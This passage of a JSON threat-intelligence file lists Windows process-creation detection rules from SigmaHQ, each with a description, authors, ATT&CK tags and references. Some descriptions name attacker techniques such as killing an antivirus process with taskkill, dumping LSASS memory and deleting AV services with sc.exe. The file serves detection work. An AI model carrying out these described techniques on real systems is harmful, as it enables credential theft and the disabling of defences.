"falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_netsupport_rat.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "0afbd410-de03-4078-8491-f132303cb67d", "value": "Execution of Renamed NetSupport RAT" }, { "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", "meta": { "author": "Florian Roth", "creation_date": "2019/02/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" ], "tags": [ "attack.lateral_movement", "attack.g0010", "attack.credential_access", "attack.t1003.001", "attack.exfiltration", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", "value": "Judgement Panda Exfil Activity" }, { "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", "meta": { "author": "Florian Roth", "creation_date": "2020/12/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_ta505_dropper.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/ForensicITGuy/status/1334734244120309760", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" ], "tags": [ "attack.execution", "attack.g0092", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", "value": "TA505 Dropper Load Pattern" }, { "description": "Detects specific combinations of encoding methods in the PowerShell command lines", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", "creation_date": "2020/10/11", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", "value": "Encoded PowerShell Command Line" }, { "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", "meta": { "author": "Florian Roth", "creation_date": "2022/04/26", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_krbrelayup.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Dec0ne/KrbRelayUp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003", "attack.lateral_movement", "attack.t1550.003" ] }, "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", "value": "KrbRelayUp Hack Tool" }, { "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", "meta": { "author": "frack113", "creation_date": "2021/12/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_findstr_385201.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" ], "tags": [ "attack.discovery", "attack.t1518.001" ] }, "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", "value": "Suspicious Findstr 385201 Execution" }, { "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", "meta": { "author": "Florian Roth", "creation_date": "2020/05/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_greenbug_may20.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" ], "tags": [ "attack.g0049", "attack.execution", "attack.t1059.001", "attack.command_and_control", "attack.t1105", "attack.defense_evasion", "attack.t1036.005" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3711eee4-a808-4849-8a14-faf733da3612", "value": "Greenbug Campaign Indicators" }, { "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", "meta": { "author": "frack113", "creation_date": "2022/01/15", "falsepositive": [ "Legitimate scripts" ], "filename": "proc_creation_win_cmd_delete.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", "value": "Windows Cmd Delete File" }, { "description": "Identifies usage of hh.exe executing recently modified .chm files.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hh_chm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.001" ] }, "related": [ { "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", "value": "HH.exe Execution" }, { "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", "meta": { "author": "Florian Roth", "creation_date": "2020/08/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_ps_downloadfile.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.command_and_control", "attack.t1104", "attack.t1105" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", "value": "PowerShell DownloadFile" }, { "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", "meta": { "author": "frack113", "creation_date": "2021/07/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_service_modification.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", "value": "Stop Or Remove Antivirus Service" }, { "description": "Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/11/18", "falsepositive": [ "Legitimate administrative use" ], "filename": "proc_creation_win_susp_secedit.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit", "https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_secedit.yml" ], "tags": [ "attack.discovery", "attack.persistence", "attack.defense_evasion", "attack.credential_access", "attack.privilege_escalation", "attack.t1562.002", "attack.t1547.001", "attack.t1505.005", "attack.t1556.002", "attack.t1562", "attack.t1574.007", "attack.t1564.002", "attack.t1546.008", "attack.t1546.007", "attack.t1547.014", "attack.t1547.010", "attack.t1547.002", "attack.t1557", "attack.t1082" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "22522668-ddf6-470b-a027-9d6866679f67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c2c76b77-32be-4d1f-82c9-7e544bdfe0eb", "value": "Potential Suspicious Activity Using SeCEdit" }, { "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Legitimate script" ], "filename": "proc_creation_win_msiexec_execute_dll.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/_st0pp3r_/status/1583914515996897281", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", "value": "Suspicious Msiexec Execute Arbitrary DLL" }, { "description": "Detects the execution of the PurpleSharp adversary simulation tool", "meta": { "author": "Florian Roth", "creation_date": "2021/06/18", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_purplesharp_indicators.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/mvelazc0/PurpleSharp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" ], "tags": [ "attack.t1587", "attack.resource_development" ] }, "related": [ { "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", "value": "PurpleSharp Indicator" }, { "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", "meta": { "author": "Ilya Krestinichev, Florian Roth", "creation_date": "2022/09/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_taskkill_sep.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", "https://www.exploit-db.com/exploits/37525", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", "value": "Taskkill Symantec Endpoint Protection" }, { "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", "meta": { "author": "@neu5ron", "creation_date": "2019/02/07", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_susp_bcdedit.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.persistence", "attack.t1542.003" ] }, "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", "value": "Possible Ransomware or Unauthorized MBR Modifications" }, { "description": "Detects Service Principal Name Enumeration used for Kerberoasting", "meta": { "author": "Markus Neis, keepwatch", "creation_date": "2018/11/14", "falsepositive": [ "Administrator Activity" ], "filename": "proc_creation_win_spn_enum.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", "value": "Possible SPN Enumeration" }, { "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" ], "filename": "proc_creation_win_sc_delete_av_services.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", "value": "Suspicious Execution of Sc to Delete AV Services" }, { "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/21", "falsepositive": [ "File located in the AppData folder with trusted signature" ], "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" ], "tags": [ "attack.t1566", "attack.t1566.001", "attack.initial_access" ] }, "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", "value": "Suspicious Microsoft OneNote Child Process" }, { "description": "Detects Ryuk Ransomware command lines", "meta": { "author": "Vasiliy Burov", "creation_date": "2019/08/06", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_mal_ryuk.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" ], "tags": [ "attack.execution", "attack.t1204" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0acaad27-9f02-4136-a243-c357202edd74", "value": "Ryuk Ransomware Command Line Activity" }, { "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", "meta": { "author": "Markus Neis, @Karneades", "creation_date": "2018/03/06", "falsepositive": [ "False positives are possible, depends on organisation and processes" ], "filename": "proc_creation_win_powersploit_empire_schtasks.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.privilege_escalation", "attack.s0111", "attack.g0022", "attack.g0060", "car.2013-08-001", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", "value": "Default PowerSploit and Empire Schtasks Persistence" }, { "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/31", "falsepositive": [ "Rare legitimate inline scripting by some administrators" ], "filename": "proc_creation_win_wscript_shell_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", "value": "Wscript Shell Run In CommandLine" }, { "description": "Detects uninstallation or termination of security products using the WMIC utility", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2021/01/30", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://twitter.com/cglyer/status/1355171195654709249", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", "value": "Wmic Uninstall Security Product" }, { "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", "meta": { "author": "Florian Roth", "creation_date": "2022/02/23", "falsepositive": [ "Domain Controller User Logon", "Unknown how many legitimate software products use that method" ], "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/ORCA6665/status/1496478087244095491", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" ], "tags": [ "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", "value": "Explorer NOUACCHECK Flag" }, { "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", "meta": { "author": "Florian Roth", "creation_date": "2018/10/30", "falsepositive": [ "Unlikely, because no one should dump an lsass process memory", "Another tool that uses the command line switches of Procdump" ], "filename": "proc_creation_win_susp_procdump_lsass.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.credential_access", "attack.t1003.001", "car.2013-05-009" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", "value": "Suspicious Use of Procdump on LSASS" }, { "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", "meta": { "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", "creation_date": "2021/09/30", "falsepositive": [ "DataSvcUtil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" ], "tags": [ "attack.exfiltration", "attack.t1567" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe" }, { "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "meta": { "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2018/03/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_chafer_mar18.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" ], "tags": [ "attack.persistence", "attack.g0049", "attack.t1053.005", "attack.s0111", "attack.t1543.003", "attack.defense_evasion", "attack.t1112", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", "value": "Chafer Activity" }, { "description": "Detects usage of the Gpg4win to decrypt files located in suspicious locations from CLI", "meta": { "author": "Nasreddine Bencherchali, X__Junior", "creation_date": "2022/11/30", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_gpg4win_susp_usage.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_susp_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e1e0b7d7-e10b-4ee4-ac49-a4bda05d320d", "value": "Gpg4Win Decrypt Files From Suspicious Locations" }, { "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" ], "tags": [ "attack.initial_access", "attack.t1133" ] }, "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", "value": "Unusual Child Porcess of dns.exe" }, { "description": "The psr.exe captures desktop screenshots and saves them on the local machine", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2019/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Psr/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", "value": "Psr.exe Capture Screenshots" }, { "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", "meta": { "author": "Florian Roth", "creation_date": 